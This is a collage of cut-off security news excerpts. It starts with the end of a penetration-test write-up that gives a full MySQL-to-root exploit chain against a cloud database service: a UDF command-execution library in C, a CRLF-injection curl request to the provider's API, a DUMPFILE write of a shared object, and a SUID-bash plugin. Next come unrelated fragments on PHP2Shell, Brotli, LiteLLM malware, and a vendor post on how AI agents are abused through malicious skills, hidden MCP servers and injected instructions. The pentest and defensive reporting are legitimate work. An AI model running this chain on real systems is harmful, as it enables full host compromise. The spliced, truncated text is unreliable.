DEFAULT '%', User char(32) NOT NULL DEFAULT '', Select_priv enum('N','Y') NOT NULL DEFAULT 'Y', Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y', Update_priv enum('N','Y') NOT NULL DEFAULT 'Y', Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y', Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y', Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y', Process_priv enum('N','Y') NOT NULL DEFAULT 'Y', File_priv enum('N','Y') NOT NULL DEFAULT 'Y', Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y', References_priv enum('N','Y') NOT NULL DEFAULT 'Y', Index_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y', Super_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y', Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y', Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y', Event_priv enum('N','Y') NOT NULL DEFAULT 'Y', Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y', ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '', ssl_cipher blob NOT NULL, x509_issuer blob NOT NULL, x509_subject blob NOT NULL, max_questions int unsigned NOT NULL DEFAULT 0, max_updates int unsigned NOT NULL DEFAULT 0, max_connections int unsigned NOT NULL DEFAULT 0, max_user_connections int unsigned NOT NULL DEFAULT 0, plugin char(64) NOT NULL DEFAULT 'caching_sha2_password', authentication_string text, password_expired enum('N','Y') NOT NULL DEFAULT 'N', password_last_changed timestamp NULL DEFAULT NULL, password_lifetime smallint unsigned DEFAULT NULL, account_locked enum('N','Y') NOT NULL DEFAULT 'N', Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Password_reuse_history smallint unsigned DEFAULT NULL, Password_reuse_time smallint unsigned DEFAULT NULL, Password_require_current enum('N','Y') DEFAULT NULL, User_attributes json DEFAULT NULL, PRIMARY KEY (Host, User) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0; After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges: INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y'); FLUSH PRIVILEGES; Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands. #include <stdlib.h> #include <string.h> #include <stdio.h> typedef unsigned long long udf_args_type; typedef struct { unsigned int arg_count; unsigned int *arg_type; char **args; unsigned long *lengths; char *maybe_null; char **attributes; unsigned long *attribute_lengths; void *extension; } UDF_ARGS; typedef struct { char maybe_null; unsigned int decimals; unsigned long max_length; char *ptr; char const_item; void *extension; } UDF_INIT; int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { if (args->arg_count != 1) { strcpy(message, "sys_eval requires one argument"); return 1; } initid->max_length = 65535; return 0; } void sys_eval_deinit(UDF_INIT *initid) {} char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) { if (!args->args[0]) { *is_null = 1; return NULL; } char cmd[65535]; snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]); FILE *pipe = popen(cmd, "r"); if (!pipe) { *is_null = 1; return NULL; } static char buf[65535]; size_t total = 0; while (total < sizeof(buf)-1) { size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe); if (n == 0) break; total += n; } pclose(pipe); buf[total] = '\0'; *length = total; return buf; } RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API: curl -s -X PATCH "https://somecloud/api/dbaas/id" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}' This vector made it possible to inject line breaks and override critical configuration parameters: default-time-zone="+00:00 secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access. plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries. With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement: SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.so We restarted the MySQL database to apply the updated configuration and initialize the registered plug-in: CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so'; Result of executing id via MySQL UDF The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in: #include <stdlib.h> attribute((constructor)) static void init(void) { system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash"); } We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise. Conclusion The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday confirmed active exploitation of the recently patched PHP2Shell flaws by adding them to its Known Exploited Vulnerabilities (KEV) catalog. The PHP vulnerabilities, both rated 9.2 on the CVSS scoring system, facilitate unauthenticated remote code execution on affected deployments - CVE-2026-109618 - An out-of-memory

To address a vulnerability in Google's Brotli compression technology that could allow attackers to corrupt process memory, Microsoft is urging .NET users to update "as soon as possible" after releasing an out-of-band (OOB) security update. It released new versions for .NET 8, 9, 10, and .NET 11 to patch against the Brotli bug, following similar updates from Node.js, Python, and other projects. Senior program manager Rahul Bhandari said in the October 25 release that the buffer overflow vulnerability in Brotli, tracked as CVE-2026-111497 and rated 8.1 under CVSS v3.1 in Microsoft's advisory, could allow an unauthenticated attacker to read or corrupt process memory, potentially resulting in information disclosure, denial of service, or elevation of privilege. Microsoft’s own advisory for the vulnerability, which some are referring to as Broccoli2Shell or Node2Shell, confirms that while experts have cobbled working exploits together, there is nothing to suggest that criminals are using them in successful attacks. However, its exploitability assessment reads: “Exploitation More Likely.” Broccoli2Shell was first disclosed on October 21 by the Node.js team, which released fixes for ten vulnerabilities, the most serious of which was CVE-2026-111497. Node.js credited Khai Tran and Sylvie Mayer of OpenAI’s Codex Security with the discovery, but failed to mention why it was only recognized as a security flaw and disclosed properly in October, despite the underlying bug having been fixed in Brotli's source code in February. OpenAI filled in the gap with a Xeet: “This root cause issue was actually fixed in the Brotli source code in February, but it wasn’t known at the time that it gave rise to a security vulnerability, and there was no more recent release of Brotli. “Since Brotli is built into other software, any software which includes this library needs to take the update too, followed by the users of that software.” Attackers can exploit vulnerable systems by providing them with malicious Brotli-compressed data via a specially crafted request. The vulnerability went slightly under the radar due to the disclosure timing closely aligning with that of PHP2Shell, although fixing the critical flaw should be a priority due to the range of technologies that are affected. In addition to .NET, Node.js, and Python, Bun, Envoy, and Istio have all released patches, and JFrog has worked up an exploit affecting FFmpeg using a specially crafted JPEG XL image, extending the exploit path beyond HTTP. It said that FFmpeg reaches Brotli through libjxl, which it uses to decompress metadata stored in brob boxes within the image format. The same researchers said the vulnerability affects Apache Arrow too, with attackers able to cause a denial of service. Merav Bar, threat researcher at Wiz, added that cloud users are exposed extensively, noting that 91 percent of cloud environments rely on components vulnerable to the Brotli flaw and that 82 percent of cloud environments have publicly exposed Node.js instances. She said: “Cloud environments are particularly exposed due to the widespread use of Brotli-enabled components across containerized applications, Kubernetes clusters, API gateways, reverse proxies, serverless workloads, and cloud-hosted web services.” “Successful exploitation could enable attackers to compromise application workloads, access sensitive information, disrupt service availability, or execute malicious code within affected containers or runtime environments,” Bar added. In an advisory published through its Patch the Planet initiative, OpenAI recommended blocking untrusted Brotli-compressed data where practical until patches can be applied. It also advised maintainers to rebuild affected deployments and restart services to ensure the fixes take effect. ®

A critical flaw dubbed 'HTTP2Shell' in Brotli, the C decoder library built into Node.js, could allow attackers to corrupt memory and access sensitive data. [...]

A UK-based developer and pentester has claimed a $2,000 Bitcoin prize for demonstrating the exploitability of the PHP2Shell vulnerabilities that melted the internet last week. Jaydip Modhwadia, 26, otherwise known as “Killa,” claimed the prize set by James Pavur, who launched the "Steal My Bitcoin" site on October 24. Pavur launched the CTF (capture the flag) challenge to prove that the PHP2Shell exploit was not as easy as those in the cybersecurity community claimed it to be, promising to award $2,000 in Bitcoin to anyone who could achieve Remote Code Execution (RCE) on his website. "My Bitcoin was stolen after 19.28 hours," the website now says, after Modhwadia claimed the prize, although the real time taken is thought to be less than three hours. Soon after Pavur launched the CTF on Saturday, prospective flag-catchers complained that the website he set up, which served only static HTML, was not built in a way that allowed the PHP2Shell exploit to achieve RCE. The web page was running a vulnerable version of PHP, but the exploit path required a vulnerable website to serve a PHP file for flag-catchers to use as a hook – something that Pavur seemingly updated at around 1300 UTC on October 25. Modhwadia achieved RCE on the website, exposing a PHP endpoint, at 1547 UTC. After an error from Pavur placing the wrong wallet key on the server, the CTF creator sent Modhwadia his award, which the community upped to $2,000 from Pavur’s initial $500. The pentester published a write-up of his method, a single-file Python script he says requires 20 HTTP requests "at most" to fully execute. Speaking to The Register, Modhwadia also confirmed that he got the flag in "around three or so hours in total." He said he followed the news about the competition, "but didn't attempt it until it gained significant notice." If he had attempted it before Pavur introduced the endpoint, he may have struggled. For hours, bug bounty hunters were trying to access the website to attempt the challenge, as news of the CTF had exploded across tech circles. "The fact that it took 19 hours was because after it went popular, the entire site became basically unusable for anyone at all," Modhwadia added. The challenge saw a huge number of attempts, despite Pavur's decision to introduce a prohibitive 1MB request limit on Nginx. Alon Gal, co-founder and CTO at Hudson Rock, commended Modhwadia's work, but added that his success achieved in just a few hours should not be taken to mean that the same attack could be automated at scale. He said: "Does this mean autonomous AI agents can now compromise arbitrary PHP servers at scale? No. This was a sophisticated, target-specific exploit. "But it does demonstrate that PHP2Shell can be weaponized against a live target, even with meaningful technical constraints." Modhwadia's proof of concept is not the first to prove PHP2Shell is exploitable, but it falls under the more advanced category. Early signs suggested that Address Space Layout Randomization (ASLR) on a vulnerable server would prove a significant barrier to real-world exploitation, and the pentester’s solution bypasses it, along with the others that were disclosed recently. Spencer McIntyre, director of exploit development at VulnCheck, told The Register last week that attackers are finding new ways to exploit PHP2Shell, and "are clearly spending time (and tokens) on this bug." Initially, experts said exploit code was being found online hours, or even days, before the vulnerabilities were disclosed publicly, which led to millions of exploit attempts, although it was too early to determine the efficacy of these on real-world systems. Scores of websites were taken down for maintenance last week as organizations raced to protect themselves from the attacks, which may or may not have proved successful. Modhwadia said he donated a portion of the prize he received to the Lupus Foundation to raise awareness about the condition, from which he also suffers. ®

Cybersecurity researchers are calling attention to what they say is a "recurring social engineering pattern" across hundreds of cases in which threat actors use Microsoft Teams' external chat creation feature to conduct impersonation scams or to deliver malware. "A consistent pattern of attacker behavior has emerged across these incidents: the use of the same throwaway tenants, the same 'IT

This2Shell, That2Shell, Everything2Shell. That's pretty much how the last week went. Critical bugs that let attackers run code remotely are showing up everywhere. Hackers are scanning for targets, some flaws are already being used in attacks, and security teams have more urgent patches than they can keep up with. And that's not even the full story. A leaked key led to a software supply-chain

Disponibile un Proof of Concept (PoC) per lo sfruttamento della CVE-2026-111497, presente nel decoder di Google Brotli, libreria open source ampiamente impiegata per la compressione e decompressione dei contenuti web e incorporata in numerosi prodotti e framework software, tra cui Node.js, DuckDB, Apache Arrow, .NET e diverse librerie Python.

Popular AI tool LiteLLM says unrevoked key allowed hackers to target users LiteLLM, an open-source tool widely used by artificial intelligence developers, said Friday that a key accidentally exposed in May was behind a supply-chain attack that is believed to have hit tens of thousands of users last week. In a root-cause analysis published Friday, the project traced the attack to the company's own mistaken exposure months before of a configuration file containing the master key to an internal tool used by LiteLLM to run AI agents. Although the company spotted the publication at the time and removed the file, it failed to revoke the exposed key. Earlier this month, an unidentified attacker used the key to access LiteLLM’s tooling and grab an access token giving them control over all of LiteLLM’s repositories on GitHub. According to the initial incident report, the attacker then exploited "multiple independent security controls” last week to distribute a version of the tool containing credential-harvesting malware to the software’s users. Google-owned cloud security company Wiz said the compromised package was downloaded about 49,000 times and that the cloud credentials stolen from LiteLLM users were being tested within hours. The malicious package remained on the Python Package Index (PyPI) for about two hours. Within about four and a half hours of it being initially uploaded, the attacker was trying out stolen login credentials for Amazon’s AWS cloud service to see which of Amazon’s AI models the accounts could access. Wiz said this matched a pattern known as “LLMjacking,” in which criminals use stolen cloud accounts to run AI services and leave the victims with the bill. No affected organization has publicly confirmed a breach linked to the release. According to Microsoft, the malware was designed to run whenever the Python programming language started up on an infected machine, even if the program that was being run never used LiteLLM itself. LiteLLM warned that anyone who installed the compromised version (1.107.0) on an internet-connected computer should assume their credentials were stolen. Those entities were advised to change every password and access key that the affected computer could reach. LiteLLM said it too was revoking tokens across its internal systems and vendor platforms. The incident is the second supply chain compromise of LiteLLM this year. In March, attackers published malicious versions to PyPI in a campaign later linked to the TeamPCP hacking group. Australian police have since charged two men alleged to be TeamPCP members. Alexander Martin is the UK Editor for Recorded Future News. He was previously a technology reporter for Sky News and a fellow at the European Cyber Conflict Research Initiative, now Virtual Routes. He can be reached securely using Signal on: AlexanderMartin.79

An out-of-bounds write in Google’s Brotli decoder affects Node.js, .NET, PowerShell, and Python packages, and can lead to code execution. The post Node2Shell: Brotli Flaw Triggers Patching Across Microsoft, Node.js, Python Packages appeared first on SecurityWeek .

Introduction AI agents and associated tooling are becoming increasingly common in corporate infrastructure. Agents can perform a range of actions with the user’s privileges, such as accessing data, running commands, and interacting with external services. This creates new security risks, especially when these tools are used without the security team’s oversight or well-designed policies. Detecting, tracking, and controlling AI agents is becoming one of the most pressing tasks for security teams today. We closely follow technological developments and continuously update our solutions to respond to new threats in a timely manner amid a rapidly changing technology landscape. This post describes new expertise built into Kaspersky products that helps counter the threats posed by the proliferation of AI agents. We approach this problem from several angles. First, you need to thoroughly understand the threat you are dealing with. To this end, we added profiles to the Kaspersky Threat Intelligence Portal that describe various AI agents and how attackers exploit them. At their core, AI agents are programs (processes) that run in the operating system on endpoints and can also launch other processes. This means that Endpoint Detection and Response solutions are among the key endpoint controls for this threat. These solutions detect the presence and launch of AI agents, track their activity, and identify potentially dangerous behavior. When needed, they also take action, such as stopping a suspicious process, blocking the activity, or isolating the host, to reduce the likelihood of an incident escalating. For this purpose, we developed specially adapted detection rules. You can use Kaspersky Endpoint Security, now also available as Kaspersky Next , to control and restrict the launch of AI agents. This solution uses two components to detect AI agents and control how they are used. Application Control categorizes the application processes launched on endpoints, and Web Control manages access to specific categories of web resources for users on endpoints. Finally, even harmless AI agents can contain malicious instructions (skills), such as those downloaded from unsafe external sources. Kaspersky Scan Engine analyzes installed applications to detect these threats and also checks LLM files for malicious code. Let’s take a closer look at these solutions and technologies. Popular AI applications and services in organizations Tools from Anthropic and OpenAI take the top spots in the September 2026 ranking of AI agents by popularity among Kaspersky users. This list is based on telemetry from Kaspersky solutions. It shows the number of users who had the relevant AI vendors’ products installed at the time of the study. # AI product 1 Claude 2 Claude Code 3 Codex 4 OpenCode 5 Zed 6 Wispr Flow 7 LM Studio 8 ZCode 9 Chatbox 10 Cherry Studio The data shows that agentic systems, especially AI agents for software development, are the most popular AI applications. The TOP 10 also includes an application for running large language models locally (LM Studio) and a voice note-taking app (Wispr Flow). According to open sources, these are the most widely used AI services in 2026: # AI service 1 ChatGPT 2 Google Gemini 3 Claude 4 Grammarly 5 DeepSeek While analyzing the most popular and widely used apps, our experts also noticed a sharp rise in vulnerable versions of AI-related software and services . From 2025 to date, more than 2500 vulnerabilities have been published: Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 ( download ) * Data for previous quarters was updated and may differ slightly from previously published data. Application Control and Web Control To enforce the organization’s security policy for AI agents and other AI applications on the corporate network, Kaspersky products offer application control based on KL categories . These categories classify installed software and give you granular control over which approved applications can run in the organization. Application Control analyzes the processes launched on endpoints, tracking which AI agents are running in corporate systems at any given moment, on which hosts, and under which accounts. Application Control also shows how long a given program has been in use. This makes it easier for the Kaspersky Security Center (KSC) administrator to control applications. Administrators can use KL categories to allow or block AI agents inside the company for specific groups of employees. Here is what this functionality looks like to KSC administrators: KL categories available when configuring Application Control For details on how to configure Application Control in KSC, follow this link . In Kaspersky Endpoint Security (KES), Application Control can operate in two modes: Denylist . In this mode, Application Control lets users run any applications except those blocked by Application Control rules. This is the default mode. Allowlist. In this mode, Application Control blocks users from running any applications except those explicitly allowed by Application Control rules. Below are the steps to configure Application Control to block AI tools. Configuring Application Control for the AI Tools category in KES With this setup, when a user tries to launch an AI agent, they get a notification and the agent doesn’t start. KES notification about an attempt to launch an AI agent For more on how to configure Application Control in KES, follow this link . Our public portal also lets you explore information on KL categories and the applications that fall under them, in particular details on how AI agents are categorized and how popular they are . AI Tools KL category The View applications drop-down list shows products for a specific vendor. Similarly, Web Control lets you manage user access to web resources. If a user tries to open a denylisted website, KES blocks access and shows a warning. KES notification about an attempt to access a prohibited web resource When configuring access, the administrator can block websites that provide AI as a service. Website categories For more on configuring Web Control, follow this link . The help portal also provides information on website categories that can be assigned to resources to configure access control. Kaspersky Endpoint Detection and Response To an EDR solution, an AI agent is a regular process. It has its own executable, a tree of child processes, and network communications, all of which need to be monitored for suspicious activity. An attacker can use an AI agent as an automation tool. An AI agent installed as a legitimate user tool can also be leveraged in a ClickFix attack, where it executes a malicious instruction received from an untrusted source, such as a document, web page, or email. That said, unsafe actions by an agent do not always indicate an attack. There may be no malicious intent in the chain at all. An incident can result from what looks like an ordinary instruction from a user who doesn’t fully understand the consequences of having it executed. The mere fact that an agent was launched does not reveal whether it is being used in an attack. That is why Kaspersky EDR (KEDR) uses both conventional behavioral rules and rules written and adapted to detect AI tools. The latter identify risky agent actions and settings, and help determine which AI tool was involved in suspicious activity. Conventional KEDR rules detect the vast majority of familiar malicious techniques, including when performed by an AI agent. A suspicious PowerShell launch, persistence via Task Scheduler, or an attempt to steal credentials leaves clear, identifiable traces. These traces look the same no matter what initiated the actions. The rules analyze launch parameters, process relationships, affected files, network activity, and other telemetry events. For example, in a recent Armored Likho campaign , we found signs that AI had been used to create loader and dropper samples, which were later compiled with NSIS (Nullsoft Scriptable Install System). The key telltale artifacts were icons in the scripts and excessive comments on every function, which is uncharacteristic of human-written code. In addition, the group continues to generate new modules for its BusySnake Stealer and BusySnake RAT samples. For example, the attackers used AI to develop a module that runs multiple checks for virtual environment artifacts and calculates a score. Depending on the score, the sample either runs or exits with code 0. Even though the initial access samples, payloads, and their modules were AI-generated, the commands they execute via rundll32 and PowerShell are detected by the shell_creation_by_rundll32 and suspicious_powershell_cmd_or_script_spawning rules. So, for detecting an attack like this, it is not important who wrote the loader, the payload, or its modules: they are given away by the commands they execute, process relationships, and other traces of activity in the system. AI can be involved both in preparing the code and in carrying out the attack directly on the device. In the latter case, the attacker uses the agent to carry out their tasks and lets it choose and run the required commands within the privileges it has. For effective protection, it is critical to link suspicious actions back to the AI tool and the conditions under which it operates. In KEDR, several specialized rules handle this task. We have created separate rules for popular AI agents, ai_agent_*_access_to_sensitive_file_ , where * is the tool name and is the operating system. They generate alerts when an agent accesses files that contain credentials, tokens, or keys. ai_agent_opencode_access_to_sensitive_file_win Tap to previewTap to hide The ai_agent_dangerous_execution_mode rule detects agents launched with auto-approval of all actions (so-called YOLO mode) or with the sandbox disabled. These settings do not indicate an attack on their own, but they let the agent perform dangerous actions without user confirmation. ai_agent_dangerous_execution_mode Tap to previewTap to hide The suspicious_mcp_server_artifact rule triggers when MCP server scripts are created or modified in hidden, temporary, or cache directories. Attackers can place an MCP server in these locations to quietly connect it to the agent: through the MCP server, they can pass instructions to the agent, call third-party tools, and access the user’s data. suspicious_mcp_server_artifact Tap to previewTap to hide The llm_api_access_by_unusual_apps rule generates an alert when an application on Windows, Linux, or macOS connects to the API of a known external LLM service, unless this activity falls under predefined exclusions. This helps spot model access by applications that do not normally behave this way. llm_api_access_by_unusual_apps Tap to previewTap to hide Some Kaspersky EDR rules tag events for investigation but do not generate alerts. For example, the ai_agent_**_execution rules flag launches of known agents on Windows, Linux, and macOS. The local_ai_model_artifact rule records the creation or modification of AI model files in typical application, runtime, and cache directories. These events reveal AI tools on the device, including tools that run on local models and never call an external API. local_ai_model_artifact Tap to previewTap to hide Kaspersky Threat Intelligence Portal AI agent profiles The Kaspersky Threat Intelligence Portal offers a large number of software profiles, including profiles of AI agents. You can sort them by the ai_ prefix: AI agent profiles on Kaspersky TIP The profile of an AI agent such as Claude Desktop includes a detailed description of the software, the privilege level required to run it, supported platforms, and threat actor groups known to use it. It also lists tactics and techniques mapped to the MITRE ATT&CK framework, with descriptions of the procedures the tool can be used for. Claude profile on Kaspersky TIP The description also lists ways to detect the software through standard system auditing mechanisms: Windows: events from standard audit logs and Sysmon events Linux: syscall audit events and Sysmon events Network auditing: a set of protocols and the traffic generated by the software The detection section lists the main artifacts the software leaves in the system: command lines, possible launch parameters, names of the services and scheduled tasks it creates, and the key network artifacts. Detection section in the Claude profile Hunt Hub In December 2025, the Kaspersky Threat Intelligence Portal added Hunt Hub (HH), a repository of detection rules. This is a unique Kaspersky project, and we developed it in response to growing market demand. This functionality is available in the Threat Landscape section of the portal. It gives analysts access to detection rules: their descriptions and their mapping to MITRE ATT&CK tactics and techniques, as well as to the associated cybercriminal groups. In the Hunt Hub section, customers can explore the detection logic of EDR, NDR, and NGFW products, including the logic for detecting AI agents. Rules in the Hunt Hub repository The rule card provides: Detailed description Rule’s severity level, confidence level, and alert format Detection tips Description of possible false positives Platforms the rule can run on Tactics, techniques, and sub-techniques covered by the rule Groups that use the technique covered by the rule Detection logic that shows what exactly triggers the rule Detection rule card in Hunt Hub Kaspersky Scan Engine Skills are a key component of the AI agent ecosystem. They’re prewritten sets of natural-language instructions that extend agent functionality. We previously covered the risks that malicious skills pose to agent users. A skill can require the usage of additional programs and services, come with helper scripts (for example, written in Python), or contain a malicious command embedded right in the instruction text. This means that adding skills to an originally harmless AI agent opens up several new ways for malicious code to enter the system. To prevent this, any skills obtained from external sources must be scanned. Kaspersky Scan Engine is well suited for this task. This is a cyberthreat detection and response solution that seamlessly integrates with various applications. It can detect malicious code in agent skills, associated scripts, and in files generated by running agents. Detection of a malicious agent skill in Kaspersky Scan Engine Trained LLMs come in many formats. Some of them (PTH, PT, PKL, KERS, and others) also store parameters and weights (training datasets). These files can also contain malicious code, so it’s critical to scan them before running and using them. Kaspersky Scan Engine scans potentially dangerous LLM formats for infected data. It can deserialize and analyze models to detect malicious code regardless of model size. Detection of an LLM with malicious code in Kaspersky Scan Engine Conclusion AI agents are rapidly making their way into corporate environments: they help employees work faster and take on a wide range of tasks, but they also open up new opportunities for attackers. To take advantage of this technology without compromising security, organizations need to build multi-layered protection and minimize risks. A range of Kaspersky solutions can help with this: Kaspersky TIP keeps you up to date on current scenarios in which attackers use AI agents, and its Hunt Hub section provides rules for detecting suspicious AI agent activity. Kaspersky EDR detects AI agents in the infrastructure and monitors their activity on endpoints. If it detects potentially dangerous actions, the product can log the event, notify the SOC, and take response actions, such as stopping the process or isolating the host. Application Control in Kaspersky products can fully restrict the use of AI agents within the company by using application categorization. The Web Control component can restrict access to AIaaS web resources. Kaspersky Scan Engine can be integrated into various company processes to detect malicious code in any files, including AI agent skills and LLMs. When companies combine the tools described above in a comprehensive approach, they can adopt AI agents in an informed way: with an understanding of the associated risks and effective means of minimizing them.

GitHubのソースコードには見当たらない悪性コードが、Pythonパッケージ「LiteLLM」の配布物から見つかった。認証情報を盗み出すだけでなく、外部からコードを実行するバックドアも仕込まれていたという。GMO Flatt Securityの分析から攻撃の仕組みと対策を追う。

OpenAI has announced plans to conduct frontier model training with no live internet access, as it resumes reinforcement learning (RL) training and internal inference of its most advanced AI models. "Based on the current state of alignment research, monitoring systems, and the security of internet infrastructure, we believe the responsible approach is to conduct frontier model training with no

Read this article

Bulletin ID: 2026-150-AWS Scope: AWS Content Type: Important (requires attention) Publication Date: 10/24/2026 20:00 PM PDT Summary: AWS identified CVE-2026-111943, a key-generation flaw at external CA eMudhra/emSign that made intermediate CA private keys recoverable. Three roots are affected: AAA Certificate Services, emSign Root TLS CA - G3, and emSign ECC Root CA - G3. They shipped in AWS-owned trust bundles, exposing soft-fail TLS clients to man-in-the-middle risk. AWS is removing the roots. Customers using CloudFront custom origins or ALB OIDC/JWT auth should check whether their certificates chain to an affected root and reissue from a different CA before enforcement. Please refer to the article below for the most up-to-date and complete information related to this AWS Security Bulletin. Read this article

A memory-corruption flaw in Google's Brotli decoder sits in many programs that unpack Brotli-compressed data, among them Bun, the Python Brotli and brotlicffi packages, and Envoy proxies set up to decompress Brotli. Tracked as CVE-2026-111497, the flaw allows crafted compressed data to overwrite past the end of a buffer and corrupt a program's memory, potentially

LiteLLM on Friday revealed that an Agent Platform master key accidentally published to a public GitHub repository in late May 2026 ultimately allowed the threat actor to push a malicious version of the popular Python package. "On May 27, 2026, a configuration file was committed to the public LiteLLM-Labs/lite-harness repository which inadvertently contained the master key to a deployment of